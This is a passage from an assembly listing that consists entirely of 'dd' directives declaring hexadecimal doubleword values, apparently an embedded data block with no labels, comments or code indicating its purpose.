		dd 0D40E0043h, 0B9195AD3h, 8130F878h, 0E08D4146h, 0E97E0061h
		dd 7BA5766Dh, 96FECF18h, 8E490900h, 88AEAC9Ah, 7690A81Ah
		dd 0AB223E8Fh, 17BCB700h, 0FF53EF8Ch, 0C5784610h, 3EB9ED0Bh
		dd 40C4E388h, 0E3BCEFF7h, 0FDB8C800h, 91D1CBF5h, 116702C0h
		dd 0DEE0A18h, 0E6DE6DE1h, 38A1D8A0h, 6507C87Ch,	5AE3EB6Fh
		dd 3A0A4DF0h, 46CB022Fh, 13782709h, 1015A481h, 80B4206Fh
		dd 583BBD09h, 45E40007h, 0C918E1B9h, 0B001DEB9h, 4015D6F1h
		dd 1C4C5C4Ch, 34871E00h, 0B4B77C2Eh, 26AB0071h,	0E6DD1A3Ah
		dd 3C037DF1h, 0DB763664h, 801DA3A9h, 38461206h,	3BA830DFh
		dd 34BE12A1h, 0E71040FDh, 275D66DDh, 18810E04h,	0B9C0A4E9h
		dd 152C5FA0h, 94BA1A76h, 0B5E64B00h, 0C3D90DB4h, 0E58A1B00h
		dd 0E7B920B2h, 0BCB9C019h, 0E8944397h, 13183C64h, 896C4644h
		dd 0D3E9F154h, 135C1949h, 0C600AD3Ah, 43EC66F0h, 0EE600CA6h
		dd 0E6204675h, 0F7BC0D00h, 0ECB62749h, 415A6144h, 80E33702h
		dd 53BB71C9h, 3EA03D5Ch, 0F480ABB6h, 0E3C8F7F1h, 0EB0F268Bh
		dd 20E71AA3h, 7859554Bh, 90189020h, 74381270h, 3DAC082Ch
		dd 0BBB01BEh, 0DB8D37E9h, 702F448h, 4C843F9Dh, 4D20EF54h
		dd 0BF0DEAFh, 0ABD87B50h, 0A6C34806h, 3491488h,	43F9CD68h
		dd 23E1F13Fh, 99B420E1h, 634DEB12h, 0B86B7000h,	50ECE320h
		dd 4988343Dh, 7F1E784Eh, 0FC30009Fh, 0DC1A72BBh, 3B642300h
		dd 3FABF0A1h, 0AC48F50Bh, 30D301F1h, 34C7A8FEh,	0FB8C50E0h
		dd 7301465Ah, 21B33616h, 707026E7h, 0AAB2000Ch,	0D8B83777h
		dd 31C97A46h, 5FE098EDh, 0A14700BAh, 0BE7039D3h, 74507CD0h
		dd 7D2CD1D0h, 0BB019A51h, 0D294A7B3h, 0C001A431h, 0A0F26122h
		dd 49EC3F80h, 0F83730A1h, 12952811h, 1DC5800h, 6B31F1ADh
		dd 0C37581Bh, 0ECA0478Eh, 0E570E1C4h, 0AEC53E03h, 1D634F1h
		dd 7FF76C21h, 0DA105878h, 41AC0448h, 2E898112h,	80BF3408h
		dd 7128F540h, 20998899h, 7D398500h, 16C82B82h, 1D98FE7h
		dd 0A184D4C0h, 0F9DC4C89h, 11F62D00h, 6D5BC30Bh, 74C70029h
		dd 4EF7D439h, 7B00B9C1h, 0EC4AE536h, 8E3F4237h,	0BE2D7100h
		dd 3B12F9E9h, 70BC048Eh, 81E37BCCh, 0EFACCA68h,	233080BCh
		dd 0FE0C22B6h, 49D3B9C5h, 58DF6450h, 8761426Dh,	92C4C014h
		dd 810B28F2h, 83260034h, 0D7AE06Dh, 0B0B18957h,	3DEF4B80h
		dd 0F87D9D73h, 0ADF20CDCh, 0B8394D81h, 98000AECh, 118A2FE5h
		dd 73771Fh, 0CE0637A0h,	0B1ACFD75h, 80DC814Ch, 8032E052h
		dd 0A22804FCh, 800FA88Ch, 0AD832429h, 166C1748h, 940E903Dh
		dd 1A2AA135h, 0C30069E8h, 0D1006FB7h, 0B4BA944Fh, 7B238968h
		dd 62FD02C1h, 9A216D64h, 8355A541h, 508532F1h, 0D41813A5h
		dd 1B4A00C3h, 71649791h, 80BD9F39h, 0B331423Bh,	48BE8048h
		dd 145034D6h, 0BA5C88F9h, 6276B100h, 0AC560B41h, 0CC4712ADh
		dd 15416AAh, 0C066DAA7h, 153189E2h, 0A81C20BBh,	504D756h
		dd 0B5672345h, 0C8A00B0Ch, 0C38F1404h, 0A9026950h, 286D851Dh
		dd 462841E1h, 0AF79F60h, 1A895A40h, 0B9750F28h,	4960037Dh
		dd 8BE2E880h, 84033444h, 57913A8Eh, 73B18887h, 9CF3541Ah
		dd 0AC5A002Dh, 98BDFD55h, 0DE001C8Ah, 42EEE719h, 16F0838h
		dd 330CBCFFh, 20CBCFA5h, 0EC127210h, 0E04B6A41h, 2128108Bh
		dd 5CC57014h, 6B2160F3h, 0A0D09508h, 44E200E0h,	0DC13528Dh
		dd 31003078h, 40D38A61h, 2948A09Ah, 79837DBh, 0AFCBFA32h
		dd 973180FDh, 408F7814h, 0FB27AB01h, 0E5B90330h, 881FA832h
		dd 64EA42E1h, 8CA0BD1Ah, 0A87F1CD1h, 380004EAh,	6F165886h
		dd 48613378h, 6B87F898h, 93926579h, 0DEA20D6Ch,	85187080h
		dd 5E01E7E3h, 323AFA51h, 0F040EE84h, 1116A68Ch,	0E1341Ah
		dd 2A588E9Ch, 3D063968h, 1A87B2E8h, 0BFFE6BF1h,	2C7BCA21h
		dd 9AE4307Ah, 901C3750h, 39414400h, 8A86DA47h, 164300B0h
		dd 29BB7361h, 350B5CD7h, 2CB684Eh, 6EC4BE0h, 3F000934h
		dd 4009AD6Ah, 4E6851h, 321B0A28h, 0A8E3C5EBh, 0B0770B8h
		dd 0DE69343Ah, 266A010Fh, 0C3D04409h, 842E004Ch, 15967066h
		dd 6E12544Eh, 0E430B668h, 7A912DA2h, 6E70035h, 68F558E3h
		dd 730088F2h, 3D943B9Ch, 999566B1h, 2CA824C8h, 0B01A0244h
		dd 0A0C43482h, 9E00357Bh, 0E6C54133h, 3E032DC0h, 680EFB5Dh
		dd 9421B6B2h, 24B49A8Fh
		dd 1A0774A0h, 0DB4B7F61h, 0FE80C89Ah, 0D5C1C292h, 95840086h
		dd 0B8A86566h, 3090DF15h, 598A9301h, 0F2C16029h, 114D9842h
		dd 0F7B710FEh, 5100030h, 0A460581Dh, 609B5F0h, 2043DBBAh
		dd 959D14BCh, 38A004Ah,	5941E7EEh, 0B00578Fh, 8FAB0ABh
		dd 92BC1A0Ah, 8E2E00A4h, 5A3A77Ah, 190B4BF2h, 2CF695h
		dd 40D98A3Ah, 0ECB712B1h, 6D20C846h, 0D5BAEA09h, 8FC818F7h
		dd 91F4E2h, 0BCAE1D3Dh,	3377CE87h, 96D8A39h, 108161CFh
		dd 0EDFC00h, 45060507h,	7C5F049Ah, 0D23F70FFh, 0B723E807h
		dd 0BFC078A9h, 0A61B14B8h, 0B0C012C4h, 0E5CB071Eh, 0F2334070h
		dd 0DA03C3CCh, 7B3D5159h, 8066FBA1h, 0F22EC68Eh, 5AA86055h
		dd 5239AA49h, 0B20FDB00h, 0C4378435h, 73513B66h, 75808CCCh
		dd 7734BA21h, 0B99BAE01h, 23DE6296h, 17984Ch, 9E247484h
		dd 4F4764F9h, 0A1B4101h, 6D46D72Bh, 4D00B062h, 0CEC5450Ch
		dd 0B4168766h, 6024FDB9h, 490084A2h, 298B59Fh, 0ABE84FF0h
		dd 2C88AD2Ch, 0E02AB442h, 0E0F1F7h, 1457DFDEh, 7456D007h
		dd 24472F1h, 7A1BF471h,	1C76605Ah, 203A05D3h, 81E02699h
		dd 8C52E59Ch, 79FF3451h, 1AB5001Ch, 0E1C0F15Dh,	0BE031B8Fh
		dd 5E51A283h, 0FDB8E0D0h, 1CFB587Eh, 3BF9604h, 52CCCC3Bh
		dd 29DD5Ch, 29A0F0B9h, 0C0326D7Bh, 0EA136B10h, 1474DF46h
		dd 0B3068F0Ah, 0C70F4088h, 0D92B23AFh, 25B6E8AAh, 8A3B00FEh
		dd 0B1707A4Eh, 0A04C805Bh, 1E4224Ch, 5E0FCCD9h,	23832544h
		dd 36740084h, 8C8A894Dh, 0F8060230h, 7FC8314Ah,	66008066h
		dd 1E8576D3h, 10236D53h, 0F43230h, 1BB06865h, 201BDBCh
		dd 634746E4h, 7441853Fh, 4C80156Fh, 48179A97h, 9113D0DCh
		dd 29B09037h, 0AD3B81B9h, 90200066h, 0D3317D65h, 980DF25Ah
		dd 0F94E3A54h, 1CE1DC0Fh, 0E4204B36h, 81797C18h, 8F6E6D01h
		dd 0C00B884Bh, 291F3C30h, 80D4EEA8h, 5D6BEFBDh,	6C001BF8h
		dd 0F431BEE9h, 4C4FC22Ch, 0DFA4FBh, 5FAA21F5h, 0AC1C0B28h
		dd 2B6ECC4Eh, 80B8E809h, 0CAAFD798h, 40D89443h,	2778C1CDh
		dd 0F4DC281Dh, 579C2F40h, 0A0BC02D7h, 0E8E1A8FCh, 0BAFC9142h
		dd 0E50D4685h, 48F4C0BAh, 8127859h, 90061EAh, 66F38AE6h
		dd 0D0871F8Fh, 786900F6h, 52DF8916h, 14AD100Eh,	6E807FD2h
		dd 3C420570h, 16378F2h,	6A09C98Eh, 2128C7DAh, 0D4AAE460h
		dd 0A88D1526h, 736E0880h, 0A70CA0Bh, 0C2534693h, 3B6480A4h
		dd 0E9F6B029h, 5644A896h, 0C012EF32h, 918B30C0h, 0E39D0048h
		dd 1351E62Fh, 975F9401h, 26ED99C9h, 0E0F3C2D0h,	89DC007Dh
		dd 70ABAA12h, 0DE4AC50Bh, 4234AC40h, 0B0C7F697h, 11290454h
		dd 0D59E7946h, 72443014h, 4E00427Eh, 703F8199h,	99B52D55h
		dd 185E80D8h, 0E6B6CD8Bh, 0EB15CF00h, 0EC9CE751h, 0FBAC3E52h
		dd 3CF017h, 0C7C38EB0h,	0AC9E9766h, 5437A4BBh, 531D0C05h
		dd 79ECE88Dh, 28FD00EBh, 0C9629B59h, 0BC003D8Eh, 13670405h
		dd 0C8244A9h, 0FB51EF4Eh, 6626FDC0h, 0EC424CD1h, 1B0513Ah
		dd 36B9147Fh, 9D64208Ch, 88F3E8C8h, 778F7DDBh, 0E2F2C0CFh
		dd 0C46FD67h, 39A321AFh, 1B09ADA0h, 0E4504F3Eh,	649601C8h
		dd 357BA565h, 0C80613FBh, 70EBC4E2h, 1E8D777Dh,	0C26DEAF7h
		dd 3FA30BD3h, 0C85E0840h, 234A248h, 69E9DB75h, 6FF0E032h
		dd 0A8433AF7h, 301173A4h, 1781FED8h, 7DF8ED40h,	7D3AE442h
		dd 48830718h, 5E3EB4C8h, 870D5180h, 8C099161h, 483BECC0h
		dd 1B91E64h, 0DDE6E552h, 609446CFh, 0C22E4E28h,	0E860D85Ch
		dd 72E8C20h, 0BF020FD8h, 80704562h, 3D5FD63Ch, 8008DB48h
		dd 3AD87C65h, 8E1300E7h, 78FA70A3h, 0CB0131A0h,	0BF4B215Dh
		dd 830B593h, 0DCC73AADh, 8DB826h, 0EA662F5Ch, 0DB48F24Ah
		dd 0DEB583CCh, 250DB8E1h, 4010305Ah, 2F382419h,	0F200D2E2h
		dd 0F737C265h, 90DFD95h, 0F17EAB59h, 5E745080h,	2D01DDDFh
		dd 149B8A88h, 0CC212819h, 0B248B000h, 0F75E00EAh, 6B32D24Ch
		dd 920041D8h, 78A543EFh, 0E4A29A22h, 812C99BBh,	3DFDA38h
		dd 0D32843h, 0BF847C54h, 0B11AC983h, 49850190h,	287F9F1h
		dd 0EA68C6A8h, 95377BCh, 790CBF7Dh, 2500B464h, 0CDA914D4h
		dd 7DDE59Bh, 3EB62A4h, 0C8DB04FDh, 9F00ADDCh, 94A6071Eh
		dd 2266ACCBh, 1A30F999h, 160A81C1h, 0D73401F5h,	0DC52FDDBh
		dd 7D96E07Ch, 620290C9h, 0EA70C618h, 0BD9F00B8h, 8FFDF6C8h
		dd 6A00D293h, 8C82F430h, 20817F21h, 0A500ED14h,	0C9E428B0h
		dd 5A5BC3A2h, 214209Dh,	0A100B18Eh, 19379B70h, 28EAD731h
		dd 1F8AC11h, 0DF8A484Bh, 0D1F051ECh, 77302215h,	0D9D8C1Ch
		dd 31AE3307h, 0C8CA6930h, 0DD70260Eh, 0EE8039B0h, 0AE37AB45h
		dd 7F09F2B0h, 0C8DB7696h, 0EE91Ch, 66695EF7h, 0F3CF42EFh
		dd 0E30086FCh, 91E2E705h, 7A71BD7Ah, 0F96D1DE5h, 151FC038h
		dd 0DE81A1AEh, 0A881E49Ch, 450E23F6h, 1117E0h, 39E085BAh
		dd 509C5D3Eh, 93E42E16h, 54CA1CC1h, 0E770EEF1h,	0C4154888h
		dd 0C5F11080h, 1F02566Fh, 0B9D3933Fh, 29885AE1h, 80E83289h
		dd 0DC158ACEh, 4CB0C527h, 0D8859200h, 6E4D9B9Dh, 0C23F1460h
		dd 3C30CB5Ah, 926F4741h, 0B07A1800h, 2481A538h,	8434CEEh
		dd 833B0C00h, 34B69CD4h, 0E80D896h, 56F28F68h, 3B6B0044h
		dd 8342E353h, 0E601F484h, 31492DD2h, 46E69B89h,	1E710048h
		dd 0E57E8DDDh, 870280C4h, 759D9728h, 80D966h, 74C51D1Fh
		dd 0DDF6CA70h, 83094D79h, 81CDAD9Dh, 0C5E4F0A8h, 0B38BFEh
		dd 0A528D879h, 0E5800743h, 1412B3C2h, 81F88C8Dh, 55B96700h
		dd 630FC9B5h, 0F9A7016h, 2D273864h, 4410E4A9h, 0E4B67B46h
		dd 58CC5464h, 49130747h, 0C05EBC8Bh, 5995E0E1h,	0F441EC29h
		dd 0E950303Fh, 1DA76AABh, 4039B80Ch, 4A294D9Ah,	9498A14Bh
		dd 6185A8BCh, 6CA2D0CFh, 0E0819225h, 30A09A8Fh,	9B0169DCh
		dd 0D8737D7h, 40305AC4h, 268B4E1Dh, 8600209Ch, 0E662EED0h
		dd 19D33ECh, 0DE63E11Dh, 0C9DDB916h, 8B446CD3h,	7FC28002h
		dd 267451BFh, 6FB48DE0h, 0D8F92320h, 9101EF16h,	24BF750Ch
		dd 0E870933Dh, 60340940h, 9890DEF2h, 0B8007CDBh, 5E2F7D41h
		dd 1F62AABh, 39DABB1Ch,	0CE7A8738h, 0A074C52h, 83ED3129h
		dd 0C80D2DC0h, 0DF1603ABh, 0DCF80F8Dh, 435822h,	7A805E37h
		dd 3D3CA2A3h, 13979C1Fh, 542B3EC0h, 7CDC667Bh, 84991DCAh
		dd 6090B53h, 3BE36401h,	78F8F128h, 6D0C8048h, 7AD5359h
		dd 22C869BEh, 9D647083h, 0C4003B8Ch, 8FD05ED4h,	4A273Dh
		dd 184BF7F4h, 0A6145270h, 7E4E03E4h, 91FD9020h,	0A2190006h
		dd 90DC2E46h, 0AE01AB96h, 1B7209D9h, 3C23E68Fh,	80BF8600h
		dd 61D597D4h, 49E9A909h, 7A70C47Fh, 0F071AFh, 2131E3A1h
		dd 0C34B189Eh, 0BBCA45Ch, 8063EB03h, 549437E8h,	53AE0E38h
		dd 412CB5Ah, 88EBB9EEh,	0C8F743E0h, 39004DADh, 0DF4689B0h
		dd 4FBC6131h, 4CC843D1h, 0E0785AE0h, 12A43A48h,	10D73798h
		dd 0E0F4ED60h, 69740112h, 720DD5B9h, 0EE647065h, 469FC8BCh
		dd 0AD8231F7h, 14E488h,	3A1D9BB5h, 37F9295Bh, 0F61A4416h
		dd 0C1840440h, 0F6EF2EAh, 268724Eh, 0D32C50C0h,	7958854Ch
		dd 7A01D364h, 0CE68252h, 9188E930h, 0DB3F00A8h,	767ACAE3h
		dd 0A505E570h, 67AD6B8Fh, 0EC43F4D0h, 20259539h, 0DBD8208Bh
		dd 670090FCh, 0BB5FF0F7h, 48E8A6h, 0B4D6E59Eh, 615B6525h
		dd 1433382Eh, 1748114h
		dd 160A557h, 70F0F542h,	63060AE8h, 3BBC56EAh, 37CC49CEh
		dd 0B3643C68h, 3AB69F00h, 0C8E0F615h, 74BE02C2h, 0D61A2622h
		dd 84F9B880h, 0B400B9BBh, 8FB52F2h, 39E9443Eh, 0CA12883Bh
		dd 43D8C85Eh, 36EE0E00h, 63547B52h, 0A2A503C9h,	40DB576Dh
		dd 0E7DE977h, 87765105h, 80BB162Bh, 6FCE426Dh, 64FDF40Ch
		dd 997810h, 2C4CAAE4h, 2AB7266h, 8A9820F1h, 0B5F90A00h
		dd 296CF837h, 0ECE80C7Dh, 0E5615245h, 4C574Ch, 0BE4FBCADh
		dd 0BFBA2DFh, 6746963Dh, 6444F0C4h, 0BD1300AAh,	2C43657Ch
		dd 7102E43Bh, 46AF8283h, 98E8C451h, 4228A65Ch, 0E370007Eh
		dd 7844FC84h, 0EC205D8h, 8CA98D39h, 4517C00Ch, 0D4002103h
		dd 0E3F9DF37h, 61437114h, 0E79BE8AEh, 5E447023h, 7D083C61h
		dd 7CE01378h, 6C3F54ECh, 30FCF867h, 99E06FEBh, 0DA0777BCh
		dd 0A88E8FB5h, 5A14003Fh, 7A78E261h, 0A08A1733h, 0F8C888FDh
		dd 51CFAB02h, 7BBB637h,	0B91DA21Bh, 3E158CE0h, 0AC99EC7Eh
		dd 1BC06109h, 4066D2C4h, 25F943C0h, 0D8839318h,	0C0E2FDE4h
		dd 7C962844h, 72AECA40h, 478001EEh, 66010FBDh, 1C682DBEh
		dd 0D42C1678h, 12461B8Fh, 0EC8CBC24h, 0D86100BBh, 1EFB86DCh
		dd 4CE0AFEBh, 7B89295h,	4DD0EFFEh, 989391h, 613C66E6h
		dd 0E479D192h, 0DB878F00h, 0F984102Dh, 0BA62007Fh, 0E5405422h
		dd 0E2061B6Ah, 2F4F82FFh, 60165888h, 600C1D24h,	6D821A65h
		dd 3590D301h, 7FBAE73Fh, 0A04703E4h, 0E812A0C0h, 128CB144h
		dd 0BF30081Ah, 0AD7E4E81h, 589F5AF9h, 0C6AB89B4h, 0AE003444h
		dd 0F8DCE599h, 1FD51DDh, 65CECB14h, 0E1A75A9Eh,	1BE84006h
		dd 4818D420h, 0D659BE1Ah, 0F6B73D70h, 0A6F018Ah, 0BA8E07C4h
		dd 0A89A3330h, 1A5F3AC0h, 84F4552Fh, 84E48044h,	29440E82h
		dd 1F2040ABh, 14D9367Ch, 0B6D9600h, 67C92013h, 841A00F5h
		dd 0EBD2BA2Ah, 12E01152h, 0EA03637Ah, 0CA016D91h, 38C9E546h
		dd 0F2F97D8h, 72376634h, 0BF41E680h, 70769F06h,	0F1B91A30h
		dd 1F024531h, 94BA0FAEh, 7F03FA06h, 4EDD2205h, 0B872DB9Ah
		dd 0D804CF7Ch, 8DE5A86Eh, 406D94C2h, 0C24AB3Ch,	4C8163A7h
		dd 0A17EF8D1h, 0E9A3Bh,	8D1D3BB3h, 328E56h, 2409B184h
		dd 6237B6CBh, 67730609h, 0A6B800E6h, 26B97C89h,	60F87B36h
		dd 0A8B04C58h, 9095B101h, 1F8AF3CEh, 16BC22C0h,	766EBD6h
		dd 520CD750h, 0F223ED9Ah, 6FB9E063h, 0BC1C0125h, 0FB928490h
		dd 50A89183h, 5E0C7D0Fh, 0B8B92480h, 4C0AE6BEh,	405BFE90h
		dd 552FE780h, 0E5E8DA6Bh, 9E5D8h, 662DAD48h, 88ABCF1Ah
		dd 8C004099h, 56C16C0Bh, 370A0306h, 5A5751F9h, 0B520C8ADh
		dd 0DFBF4800h, 87CE4A11h, 0AA120192h, 993A5517h, 2F2C372Dh
		dd 829C8257h, 80A4798Dh, 0D7D3DF84h, 0DB5FF211h, 4FDC9840h
		dd 0D1AB38h, 0F456EF71h, 44EF7B7h, 0AAB01C50h, 0CFDF88A0h
		dd 317AC90h, 64D4D166h,	80F8E401h, 7021635Ah, 8FF29C5h
		dd 38733328h, 22814140h, 6278E3A9h, 2682BF07h, 18DCAA51h
		dd 349D6864h, 580D4B4h,	0F632BDAEh, 75690530h, 0A4880A8Dh
		dd 46034114h, 0EA8644FFh, 0D4B6A13Fh, 0C0DCBAE0h, 6B3892B8h
		dd 6406A0FDh, 42EAB9F4h, 0E9C1C239h, 90800C57h,	35F76A7Ch
		dd 4616D700h, 41ECC2F9h, 58389768h, 0A0084ADh, 737F013h
		dd 30F28A8Fh, 2C501701h, 9D28878Eh, 0A0098085h,	7234A67Ah
		dd 2852000Ch, 7D73FF20h, 0AF13BB58h, 0D000A5D2h, 0EC498FF9h
		dd 8964453Dh, 0D1DE6E48h, 3FF0030Ch, 0F9A89E49h, 9F132048h
		dd 31041D65h, 0C0AC4079h, 0D6420500h, 768FC0C2h, 1D734712h
		dd 0D490C8h, 62B5F04Eh,	0E7C43E42h, 191E4CEEh, 3FC06FDDh
		dd 0E13BAA54h, 585D044Ah, 90F51ADFh, 0B430B660h, 0A71FC674h
		dd 534098CAh, 0FBC03FB1h, 0D361380Bh, 136D6702h, 0E940DCE4h
		dd 0AA009AB4h, 8D43FC0Ah, 0E5BCA49h, 0B73C53Bh,	4524B874h
		dd 0EC876F90h, 99D37357h, 0E3AC41C0h, 34BF3Eh, 4973F5E0h
		dd 5F4F98DBh, 91EC0E9Bh, 0E9D842F2h, 90712E5Ah,	0E638400h
		dd 0FF4E578h, 665A967h,	75D1BCC0h, 0C712ED77h, 8CF040BFh
		dd 8338B1B4h, 9F2D3C6Eh, 0F2197EC0h, 9E255600h,	0EE12321Ch
		dd 818F0205h, 0DFCA28Ch, 0E19510C0h, 0C91DD7Ah,	63C94581h
		dd 806A449Ah, 615C9073h, 155FEA72h, 0C1E43C40h,	826ECAh
		dd 33FCACBAh, 5DAE2CE0h, 6C465708h, 1B0A80C3h, 69DFFA85h
		dd 1AC2848h, 0F6424F0Eh, 0C381AEEh, 14A6BF88h, 79925D00h
		dd 502D55E9h, 3D266CDEh, 5680DC90h, 0F1ADC276h,	2100917Eh
		dd 622D85BEh, 7413ED0h,	0CADF816Dh, 0E2971466h,	82511F00h
		dd 102F8426h, 5F4800h, 1A6D94BAh, 0BC6AE65Ch, 0F44B430Fh
		dd 24C0EF12h, 14F2F732h, 0F8C45F00h, 83F13F65h,	35DE9602h
		dd 40713664h, 0A376FA59h, 0F004D2A3h, 557114h, 5B848F86h
		dd 0C2E0733Ch, 0BC89E801h, 9D422304h, 177063FCh, 88BD674Fh
		dd 81881810h, 215A05D0h, 300F7B07h, 0D10335D0h,	2C06C000h
		dd 29AFF67h, 34D00066h,	0F392D280h, 730054C1h, 0A93D1493h
		dd 5E6B5BCh, 0B12876C5h, 41300388h, 0CDC9BE95h,	2873CBh
		dd 0D5532858h, 0F281C592h, 0F0A61C75h, 6BB9825Ch, 0A058AB27h
		dd 48F4A486h, 360BE403h, 0B82C0D3Bh, 1714460h, 464F5785h
		dd 6081FB5Ah, 76025300h, 663AABC8h, 28387835h, 1398DC9Dh
		dd 42F286EAh, 88FC7860h, 0EB03045Ah, 0F08D7BFFh, 6769F85Dh
		dd 847A22h, 0CDEFFB7Ch,	78605EE9h, 2DBD48h, 46116E98h
		dd 0B1155BAAh, 0BA803EECh, 58B30D16h, 3F005ACDh, 5016566h
		dd 167BE9ECh, 0D03418F8h, 0AD3614FCh, 3769FC05h, 8702E54Ch
		dd 4474461Eh, 4BE8F754h, 1B91250Bh, 550064E4h, 0C1099813h
		dd 0A44599h, 6BB7674Ah,	46D3DB6Dh, 0F8FBDF01h, 8B1DB5BFh
		dd 84008022h, 0EB9C06CCh, 0F41F0519h, 0E8819BC8h, 18B1C46Fh
		dd 2CAC30h, 4CAA3F46h, 0F5BDECA0h, 0F82C139Dh, 214F397h
		dd 61F0C0D0h, 0CF25EDBBh, 650108A8h, 43058C33h,	83910h
		dd 7B24CD2h, 70C401A6h,	0D0909D86h, 46C0F155h, 0A0AA4DE5h
		dd 7E3C757Dh, 0CFBF0063h, 0E9F86F42h, 0AB1FDE59h, 0B42E461Bh
		dd 0F791BC60h, 0E68B0049h, 0F1A54323h, 6128EE63h, 3A09F4DFh
		dd 0E8DBA130h, 0FBD2CECh, 8A1107B9h, 200A9060h,	0A0003347h
		dd 1BC1ECDCh, 1863CACCh, 0A1F4BC66h, 80F1DE34h,	43DD7FC9h
		dd 5B0A42E1h, 0AFF867h,	831F77D7h, 11ADC5h, 6239ACBCh
		dd 0FE432710h, 3E58F109h, 330C4CEh, 0F2A4C060h,	1AC06C1Eh
		dd 0E316AB67h, 800017FBh, 1105FD81h, 5FD64437h,	0B978B09h
		dd 0C9D89815h, 890F0775h, 1F689F10h, 0CBDFAD43h, 76345EB8h
		dd 62E6D000h, 0BD9518F1h, 91F00Fh, 27FD8C59h, 81F4DB52h
		dd 20C09209h, 14F17Ch, 0B6093B6Ah, 0EE1C3252h, 9AEDF65h
		dd 9AA22800h, 0BBE8B903h, 66080404h, 0C914E8BDh, 4D8009Dh
		dd 0EC149A8Fh, 28115C0Eh, 52451501h, 0F183E2FCh, 2823E9h
		dd 0BA605495h, 12BD3Ah,	2616AEA6h, 0E30ABC0h, 1FCBF00h
		dd 1FE2CF31h, 0EA6800F5h, 0F127694Ch, 1130AAF0h, 6BC9287Fh
		dd 45E100A5h, 0E51E3ABBh, 47783FFBh, 8B2A5000h,	0F0766B18h
		dd 17420387h, 3D43A3ACh, 6A049A0h, 2AF8B60Ch, 0EAB480Dh
		dd 4B609131h, 0ACFD8983h, 0F6176013h, 0BD123807h, 7D328CCh
		dd 0B6716C8Ah, 80B81495h, 0A4FFD210h, 70AB1E3Ah, 8F510A60h
		dd 3ED8127Dh, 418CA5Eh
		dd 30C71929h, 4260F061h, 81C06266h, 0EDE000FEh,	1522885Bh
		dd 7800FBD4h, 4CF3EF51h, 0C5962Ah, 0EB972FF2h, 0B946A526h
		dd 19FE9C39h, 0F0B05144h, 0A89B9C53h, 0D5F538h,	7A8BE2B7h
		dd 0B3E3F43Ch, 3CC8B428h, 939A901h, 3EBB3745h, 3A083F20h
		dd 4880E0F3h, 0A75A4353h, 0BF006628h, 8E980181h, 6EC73C30h
		dd 4BC0C038h, 0B9F542EFh, 5CC86E00h, 0B825B4B6h, 0B23900AFh
		dd 0F3F87902h, 4008B68h, 0F2B6B5B0h, 0F2C8F26h,	852A570Bh
		dd 4F39A085h, 0D900C588h, 4C67C6B7h, 5D902575h,	835C08CEh
		dd 0A068BB2h, 4810AE79h, 0C55E0588h, 2DE8042Fh,	38C100EDh
		dd 432CFF5Dh, 25020030h, 0F24A73A5h, 0FA89188Ch, 0B2331898h
		dd 0FD2CA950h, 1C03FF28h, 0AEAC1206h, 15854A5h,	73EDC8A1h
		dd 828331C6h, 2F80E31h,	6CC8273Eh, 2A008B19h, 5DA12C8Ch
		dd 3AC61C1h, 0E8789120h, 29988EA2h, 0DD120125h,	3040E423h
		dd 1D79AF83h, 0B2775066h, 0A5E600AAh, 4EE949C3h, 6D54ADC9h
		dd 68905598h, 8EF09139h, 0C068A8F6h, 92FFEC99h,	0B2660190h
		dd 0B9115C0Ah, 0A55D0031h, 5545009Fh, 46C3433Ch, 711D0F20h
		dd 920087F1h, 94AE325Ch, 1BC23D28h, 0AB9333B8h,	0C0760049h
		dd 3EC75441h, 50121892h, 0BB0015BEh, 0F8BB81D0h, 0FE4A1641h
		dd 0A7C2008Eh, 0A8B283FCh, 56840B54h, 0FFA17000h, 0A73E6A8Bh
		dd 25F5002Dh, 203B4C8Fh, 59C03DC7h, 861F409Ah, 6F0100C9h
		dd 8F02A4B6h, 0E07397B7h, 3F3D7707h, 0CAFE74F2h, 0A1A0D0A7h
		dd 0B5EACC14h, 8C0C0288h, 0A3DA2303h, 0E8672ECCh, 0ECFFB22Ch
		dd 8AEE03BEh, 94410980h, 0F86BA7F8h, 10537712h,	184B0C03h
		dd 82593B81h, 190B98E0h, 910F3BE5h, 0C16B8BD7h,	50B1FE86h
		dd 1493820h, 72513AF9h,	20851ADBh, 1714102Ch, 0C098823Eh
		dd 0E803E2C2h, 3B487B51h, 0E303BAC6h, 3FEA62E5h, 6C4085BAh
		dd 61064402h, 0C68A314Ah, 0A8117CC1h, 1DEEE0h, 6741952Eh
		dd 5C8F506Bh, 5A40B703h, 0CE810925h, 0A5CB4438h, 2630FDE0h
		dd 0C8CD11F7h, 134E032Bh, 8853B328h, 3C465092h,	0C7243900h
		dd 579C07B1h, 4BC6038Ch, 3BF88E2Ch, 0C6C88ECh, 74DB488h
		dd 2F5361AEh, 0B8B2056h, 7A28D26Bh, 295CECBDh, 9B00705Ch
		dd 0D1DA18A8h, 3331AF8Ah, 8491F48Ch, 0A0DAC7h, 176BA1CDh
		dd 0D14C9FF3h, 0DA6CC0E4h, 3DD64EA4h, 0D0801234h, 2840F2F5h
		dd 793D0E7Ah, 0D4AEA45Ch, 8F010A11h, 0BE665D2Eh, 72817E09h
		dd 1030DCB5h, 0ED030485h, 0C2251CC7h, 0E8668104h, 8F48F003h
		dd 0C27F8h, 0EA882A49h,	957DA555h, 835200B0h, 3DF81BA4h
		dd 12FC0A1h, 0D0BE544Ah, 192260A0h, 0D13F564Dh,	2D00BDE8h
		dd 8132F616h, 0B0E8BF43h, 0A50E4408h, 0EE494800h, 535489FEh
		dd 88F928FAh, 1A910CE4h, 262920A3h, 0AE3F5900h,	2D5C8408h
		dd 8A2C00CDh, 0E081B6E2h, 93002ADDh, 0FE18792Eh, 0C50F02FFh
		dd 30E8DB39h, 0D4D41A8h, 0DD272D00h, 3F347246h,	0A0483C1Dh
		dd 0D35331E0h, 187C85D4h, 0F0C8D906h, 1F9F523h,	0A5E4D2EFh
		dd 8E28A37Fh, 0DCD75531h, 0C571A080h, 44843141h, 2306A5CBh
		dd 0AE730112h, 7B2B0581h, 2029FF24h, 0A6B1B5A0h, 88F6610Fh
		dd 0D2C51D4Fh, 0A840BB11h, 7295A3D4h, 0DD7C33h,	5840BEFh
		dd 5661AF5Bh, 0B64BD31Dh, 0C2F2200h, 0A3C6A701h, 1EE9F8C8h
		dd 807EC0h, 277CBEB2h, 0BA185744h, 0C8D159C0h, 0E901279h
		dd 0F31640F6h, 70810587h, 260BB8BCh, 0DC04C824h, 58133E80h
		dd 7C474Ah, 0C98AFD11h,	48DD2EA8h, 5315B30Bh, 0D2049018h
		dd 58A70037h, 54C5295Bh, 0B700E4FFh, 0FE975028h, 0E33D549h
